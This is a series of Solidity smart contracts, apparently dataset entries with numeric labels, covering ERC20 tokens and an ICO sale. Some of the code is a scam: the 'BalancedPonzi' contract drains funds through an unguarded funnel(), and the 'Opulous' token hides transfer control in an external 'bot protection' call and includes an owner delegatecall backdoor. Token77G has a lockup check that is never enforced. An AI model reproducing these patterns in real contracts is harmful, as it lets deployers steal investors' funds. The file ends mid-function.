_;
}
function transferOwnership(address newOwner) public onlyOwner{
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool){
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool){
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract ComissionList is Claimable {
using SafeMath for uint256;
struct Transfer {
uint256 stat;
uint256 perc;
}
mapping (string => Transfer) refillPaySystemInfo;
mapping (string => Transfer) widthrawPaySystemInfo;
Transfer transferInfo;
event RefillCommisionIsChanged(string _paySystem, uint256 stat, uint256 perc);
event WidthrawCommisionIsChanged(string _paySystem, uint256 stat, uint256 perc);
event TransferCommisionIsChanged(uint256 stat, uint256 perc);
function setRefillFor(string _paySystem, uint256 _stat, uint256 _perc) public onlyOwner returns (uint256) {
refillPaySystemInfo[_paySystem].stat = _stat;
refillPaySystemInfo[_paySystem].perc = _perc;
RefillCommisionIsChanged(_paySystem, _stat, _perc);
}
function setWidthrawFor(string _paySystem,uint256 _stat, uint256 _perc) public onlyOwner returns (uint256) {
widthrawPaySystemInfo[_paySystem].stat = _stat;
widthrawPaySystemInfo[_paySystem].perc = _perc;
WidthrawCommisionIsChanged(_paySystem, _stat, _perc);
}
function setTransfer(uint256 _stat, uint256 _perc) public onlyOwner returns (uint256) {
transferInfo.stat = _stat;
transferInfo.perc = _perc;
TransferCommisionIsChanged(_stat, _perc);
}
function getRefillStatFor(string _paySystem) public view returns (uint256) {
return refillPaySystemInfo[_paySystem].perc;
}
function getRefillPercFor(string _paySystem) public view returns (uint256) {
return refillPaySystemInfo[_paySystem].stat;
}
function getWidthrawStatFor(string _paySystem) public view returns (uint256) {
return widthrawPaySystemInfo[_paySystem].perc;
}
function getWidthrawPercFor(string _paySystem) public view returns (uint256) {
return widthrawPaySystemInfo[_paySystem].stat;
}
function getTransferPerc() public view returns (uint256) {
return transferInfo.perc;
}
function getTransferStat() public view returns (uint256) {
return transferInfo.stat;
}
function calcWidthraw(string _paySystem, uint256 _value) public view returns(uint256) {
uint256 _totalComission;
_totalComission = widthrawPaySystemInfo[_paySystem].stat + (_value / 100 ) * widthrawPaySystemInfo[_paySystem].perc;
return _totalComission;
}
function calcRefill(string _paySystem, uint256 _value) public view returns(uint256) {
uint256 _totalComission;
_totalComission = refillPaySystemInfo[_paySystem].stat + (_value / 100 ) * refillPaySystemInfo[_paySystem].perc;
return _totalComission;
}
function calcTransfer(uint256 _value) public view returns(uint256) {
uint256 _totalComission;
_totalComission = transferInfo.stat + (_value / 100 ) * transferInfo.perc;
return _totalComission;
}
}
contract EvaCurrency is PausableToken, BurnableToken {
string public name = "EvaUSD";
string public symbol = "EUSD";
ComissionList public comissionList;
uint8 public constant decimals = 3;
mapping(address => uint) lastUsedNonce;
address public staker;
event Mint(address indexed to, uint256 amount);
function EvaCurrency(string _name, string _symbol) public {
name = _name;
symbol = _symbol;
staker = msg.sender;
}
function changeName(string _name, string _symbol) onlyOwner public {
name = _name;
symbol = _symbol;
}
function setComissionList(ComissionList _comissionList) onlyOwner public {
comissionList = _comissionList;
}
modifier onlyStaker() {
require(msg.sender == staker);
_;
}
function transferOnBehalf(address _to, uint _amount, uint _nonce, uint8 _v, bytes32 _r, bytes32 _s) onlyStaker public returns (bool success) {
uint256 fee;
uint256 resultAmount;
bytes32 hash = keccak256(_to, _amount, _nonce, address(this));
address sender = ecrecover(hash, _v, _r, _s);
require(lastUsedNonce[sender] < _nonce);
require(_amount <= balances[sender]);
fee = comissionList.calcTransfer(_amount);
resultAmount = _amount.sub(fee);
balances[sender] = balances[sender].sub(_amount);
balances[_to] = balances[_to].add(resultAmount);
balances[staker] = balances[staker].add(fee);
lastUsedNonce[sender] = _nonce;
emit Transfer(sender, address(0), _amount);
emit Transfer(address(0), _to, resultAmount);
return true;
}
function withdrawOnBehalf(uint _amount, string _paySystem, uint _nonce, uint8 _v, bytes32 _r, bytes32 _s) onlyStaker public returns (bool success) {
uint256 fee;
uint256 resultAmount;
bytes32 hash = keccak256(address(0), _amount, _nonce, address(this));
address sender = ecrecover(hash, _v, _r, _s);
require(lastUsedNonce[sender] < _nonce);
require(_amount <= balances[sender]);
fee = comissionList.calcWidthraw(_paySystem, _amount);
resultAmount = _amount.sub(fee);
balances[sender] = balances[sender].sub(_amount);
balances[staker] = balances[staker].add(fee);
totalSupply_ = totalSupply_.sub(resultAmount);
emit Transfer(sender, address(0), resultAmount);
Burn(sender, resultAmount);
return true;
}
function refill(address _to, uint256 _amount, string _paySystem) onlyStaker public returns (bool success) {
uint256 fee;
uint256 resultAmount;
fee = comissionList.calcRefill(_paySystem, _amount);
resultAmount = _amount.sub(fee);
balances[_to] = balances[_to].add(resultAmount);
balances[staker] = balances[staker].add(fee);
totalSupply_ = totalSupply_.add(_amount);
emit Transfer(address(0), _to, resultAmount);
Mint(_to, resultAmount);
return true;
}
function changeStaker(address _staker) onlyOwner public returns (bool success) {
staker = _staker;
}
function getNullAddress() public view returns (address) {
return address(0);
}
} | 1 | 2,797 |
contract BalancedPonzi {
struct Person {
address addr;
}
struct NiceGuy {
address addr2;
}
Person[] public persons;
NiceGuy[] public niceGuys;
uint public payoutIdx = 0;
uint public currentNiceGuyIdx = 0;
uint public investor = 0;
address public currentNiceGuy;
address public beta;
function BalancedPonzi() {
currentNiceGuy = msg.sender;
beta = msg.sender;
}
function() {
uint idx = persons.length;
if (msg.value != 9 ether) {
throw;
}
if (investor > 8) {
uint ngidx = niceGuys.length;
niceGuys.length += 1;
niceGuys[ngidx].addr2 = msg.sender;
if (investor == 10) {
currentNiceGuy = niceGuys[currentNiceGuyIdx].addr2;
currentNiceGuyIdx += 1;
}
}
if (investor < 9) {
persons.length += 1;
persons[idx].addr = msg.sender;
}
investor += 1;
if (investor == 11) {
investor = 0;
}
if (idx != 0) {
currentNiceGuy.send(1 ether);
}
while (this.balance > 10 ether) {
persons[payoutIdx].addr.send(10 ether);
payoutIdx += 1;
}
}
function funnel() {
beta.send(this.balance);
}
} | 0 | 918 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Opulous is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 500000000000000000000000000;
string public name = "OpulousToken";
string public symbol = "OPUL";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toAddresses, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toAddresses.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = _amounts[i];
emit Transfer(address(0x0), _toAddresses[i], _amounts[i]);
}
}
} | 0 | 1,646 |
pragma solidity ^0.4.24;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract MNToken is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H0.1';
function MNToken(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) {
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 4,621 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Token77G is Claimable, StandardToken {
string constant public name = "GraphenTech";
string constant public symbol = "77G";
uint8 constant public decimals = 18;
uint256 public graphenRestrictedDate;
mapping (address => uint256) private restrictedTokens;
address[] private addList;
address private icoadd;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function Token77G(
address _team,
address _reserve,
address _advisors,
uint _deadLine
)
public
{
icoadd = msg.sender;
totalSupply_ = (19000000000) * 10 ** uint256(decimals);
balances[_reserve] = balances[_reserve].add((1890500000) * 10 ** uint256(decimals));
addAddress(_reserve);
emit Transfer(icoadd, _reserve, (1890500000) * 10 ** uint256(decimals));
allocateTokens(_team, (1330000000) * 10 ** uint256(decimals));
emit Transfer(icoadd, _team, (1330000000) * 10 ** uint256(decimals));
balances[_advisors] = balances[_advisors].add((950000000) * 10 ** uint256(decimals));
addAddress(_advisors);
emit Transfer(icoadd, _advisors, (950000000) * 10 ** uint256(decimals));
balances[icoadd] = (14829500000) * 10 **uint256(decimals);
graphenRestrictedDate = _deadLine;
}
function restrictedTokensOf(address _add) public view returns(uint restrctedTokens) {
return restrictedTokens[_add];
}
function transfer(address _to, uint256 _value) public returns (bool) {
uint256 tmpRestrictedDate;
if (restrictedTokens[msg.sender] > 0) {
require((now < tmpRestrictedDate && _value <= (balances[msg.sender].sub(restrictedTokens[msg.sender])))||now >= tmpRestrictedDate);
}
if (balances[_to] == 0) addAddress(_to);
_transfer(_to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint256 tmpRestrictedDate;
if (restrictedTokens[msg.sender] > 0) {
require((now < tmpRestrictedDate && _value <= (balances[msg.sender]-restrictedTokens[msg.sender]))||now >= tmpRestrictedDate);
}
if (balances[_to] == 0)addAddress(_to);
super.transferFrom(_from, _to, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, 0x0, _value);
return true;
}
function getAddressFromList(uint256 _index)public view returns (address add) {
require(_index < addList.length);
return addList[_index];
}
function getAddListSize()public view returns (uint) {
return addList.length;
}
function allocateTokens(address _add, uint256 _value) private {
balances[_add] = balances[_add].add(_value);
restrictedTokens[_add] = restrictedTokens[_add].add(_value);
addAddress(_add);
}
function _transfer(address _to, uint256 _value) private {
require(_to != 0x0);
require(balances[msg.sender] >= _value);
require(balances[_to] + _value > balances[_to]);
uint256 previousBalances = balances[msg.sender].add(balances[_to]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
assert(balances[msg.sender] + balances[_to] == previousBalances);
}
function addAddress(address _add) private {
addList.push(_add);
}
}
contract ICO_Graphene is Claimable {
using SafeMath for uint256;
uint256 public availablePrivateICO;
uint256 public availablePreICO;
uint256 public availableICO_w1;
uint256 public availableICO_w2;
uint256 public availableICO;
uint256 public amountRaised;
uint256 public tokensSold;
uint256 private decimals;
uint256 public startPrivateICO = 1528329600;
uint256 public endPrivateICO = 1532649599;
uint256 public startPreICO = 1532649600;
uint256 public endPreICO = 1535327999;
uint256 public startICO_w1 = 1535328000;
uint256 public endICO_w1 = 1538006399;
uint256 public startICO_w2 = 1538006400;
uint256 public endICO_w2 = 1540684799;
enum StatusList { NotStarted, Running, Waiting, Closed, Paused}
StatusList public status;
enum StagesList { N_A, PrivateICO, PreICO, ICO_w1, ICO_w2}
StagesList public stage;
uint256[5] private tokenPrice;
Token77G private tokenReward;
uint256 public restrictedTokensDate = 1550447999;
address public tokenAdd;
mapping(address => uint256) public purchaseMap;
address constant private TOKENSRESERVE = 0xA89779a50b3540677495e12eA09f02B6Bf09803F;
address constant private TEAM = 0x39E545F03d26334d735815Bb9882423cE46d8326;
address constant private ADVISORS = 0x96DFaBbD575C48d82e5bCC92f64E0349Da60712a;
address constant private SALARIES = 0x99330754059f1348296526a52AA4F787a7648B46;
address constant private MARKETINGandBUSINESS = 0x824663D62c22f2592c5a3DC37638C09907adE7Ec;
address constant private RESEARCHandDEVELOPMENT = 0x7156023Cd4579Eb6a7A171062A44574809B353C8;
address constant private RESERVE = 0xAE55c485Fe70Ce6E547A30f5F4b28F32D9c1c093;
address constant private FACTORIES = 0x30CF1d5F0c561118fA017f15B86f914ef5C078e6;
address constant private PLANEQUIPMENT = 0xC74c83d8eC7c6233715b0aD8Ba4da8f72301fA24;
address constant private PRODUCTION = 0xEa0553a23469cb7140190d443762d70664a36343;
event Purchase(address _from, uint _amount, uint _tokens);
modifier onlyInState (StatusList _status) {
require(_status == status);
_;
}
modifier onlyIfNotPaused() {
require(status != StatusList.Paused);
_;
}
function ICO_Graphene() public {
tokenReward = new Token77G(TEAM, TOKENSRESERVE, ADVISORS, restrictedTokensDate);
tokenAdd = tokenReward;
decimals = tokenReward.decimals();
status = StatusList.NotStarted;
stage = StagesList.N_A;
amountRaised = 0;
tokensSold = 0;
availablePrivateICO = (1729000000) * 10 ** uint256(decimals);
availablePreICO = (3325000000) * 10 ** uint256(decimals);
availableICO_w1 = (5120500000) * 10 ** uint256(decimals);
availableICO_w2 = (4655000000) * 10 ** uint256(decimals);
tokenPrice = [0, 13860000000000, 14850000000000, 17820000000000, 19800000000000];
}
function () public payable onlyIfNotPaused {
updateStatus();
if (stage == StagesList.PrivateICO) {
require(msg.value >= 1000000000000000000 wei);
}
_transfer();
updateStatusViaTokens();
}
function kill()
external onlyOwner onlyInState(StatusList.Closed) {
selfdestruct(owner);
}
function pause() public onlyOwner {
updateStatus();
require(status != StatusList.Closed);
status = StatusList.Paused;
}
function unpause() public onlyOwner onlyInState(StatusList.Paused) {
updateStatus();
updateStatusViaTokens();
}
function setNewICOTime(
uint _startPrivateICO,
uint _endPrivateICO,
uint _startPreICO,
uint _endPreICO,
uint _startICO_w1,
uint _endICO_w1,
uint _startICO_w2,
uint _endICO_w2
)
public
onlyOwner onlyInState(StatusList.NotStarted) {
require(now < startPrivateICO && startPrivateICO < endPrivateICO && startPreICO < endPreICO && startICO_w1 < endICO_w1 && startICO_w2 < endICO_w2);
startPrivateICO = _startPrivateICO;
endPrivateICO = _endPrivateICO;
startPreICO = _startPreICO;
endPreICO = _endPreICO;
startICO_w1 = _startICO_w1;
endICO_w1 = _endICO_w1;
startICO_w2 = _startICO_w2;
endICO_w2 = _endICO_w2;
}
function closeICO() public onlyOwner {
updateStatus();
require(status == StatusList.Closed);
transferExcessTokensToReserve();
}
function transferExcessTokensToReserve() internal {
availableICO = tokenReward.balanceOf(this);
if (availableICO > 0) {
tokenReward.transfer(TOKENSRESERVE, availableICO);
}
}
function updateStatus() internal {
if (now >= endICO_w2) {
status = StatusList.Closed;
} else {
if ((now > endPrivateICO && now < startPreICO) || (now > endPreICO && now < startICO_w1)) {
status = StatusList.Waiting;
} else {
if (now < startPrivateICO) {
status = StatusList.NotStarted;
} else {
status = StatusList.Running;
updateStages();
}
}
}
}
function updateStatusViaTokens() internal {
availableICO = tokenReward.balanceOf(this);
if (availablePrivateICO == 0 && stage == StagesList.PrivateICO) status = StatusList.Waiting;
if (availablePreICO == 0 && stage == StagesList.PreICO) status = StatusList.Waiting;
if (availableICO_w1 == 0 && stage == StagesList.ICO_w1) status = StatusList.Waiting;
if (availableICO_w2 == 0 && stage == StagesList.ICO_w2) status = StatusList.Waiting;
if (availableICO == 0) status = StatusList.Closed;
}
function updateStages() internal onlyInState(StatusList.Running) {
if (now <= endPrivateICO && now > startPrivateICO) { stage = StagesList.PrivateICO; return;}
if (now <= endPreICO && now > startPreICO) { stage = StagesList.PreICO; return;}
if (now <= endICO_w1 && now > startICO_w1) { stage = StagesList.ICO_w1; return;}
if (now <= endICO_w2 && now > startICO_w2) { stage = StagesList.ICO_w2; return;}
stage = StagesList.N_A;
}
function _transfer() private onlyInState(StatusList.Running) {
uint amount = msg.value;
uint amountToReturn = 0;
uint tokens = 0;
(tokens, amountToReturn) = getTokens(amount);
purchaseMap[msg.sender] = purchaseMap[msg.sender].add(amount);
tokensSold = tokensSold.add(tokens);
amount = amount.sub(amountToReturn);
amountRaised = amountRaised.add(amount);
if (stage == StagesList.PrivateICO) availablePrivateICO = availablePrivateICO.sub(tokens);
if (stage == StagesList.PreICO) availablePreICO = availablePreICO.sub(tokens);
if (stage == StagesList.ICO_w1) availableICO_w1 = availableICO_w1.sub(tokens);
if (stage == StagesList.ICO_w2) availableICO_w2 = availableICO_w2.sub(tokens);
tokenReward.transfer(msg.sender, tokens);
sendETH(amount);
if (amountToReturn > 0) {
bool refound = msg.sender.send(amountToReturn);
require(refound);
}
emit Purchase(msg.sender, amount, tokens);
}
function getTokens(uint256 _value)
private view
onlyInState(StatusList.Running)
returns(uint256 numTokens, uint256 amountToReturn) {
uint256 eths = _value.mul(10**decimals);
numTokens = 0;
uint256 tokensAvailable = 0;
numTokens = eths.div(tokenPrice[uint256(stage)]);
if (stage == StagesList.PrivateICO) {
tokensAvailable = availablePrivateICO;
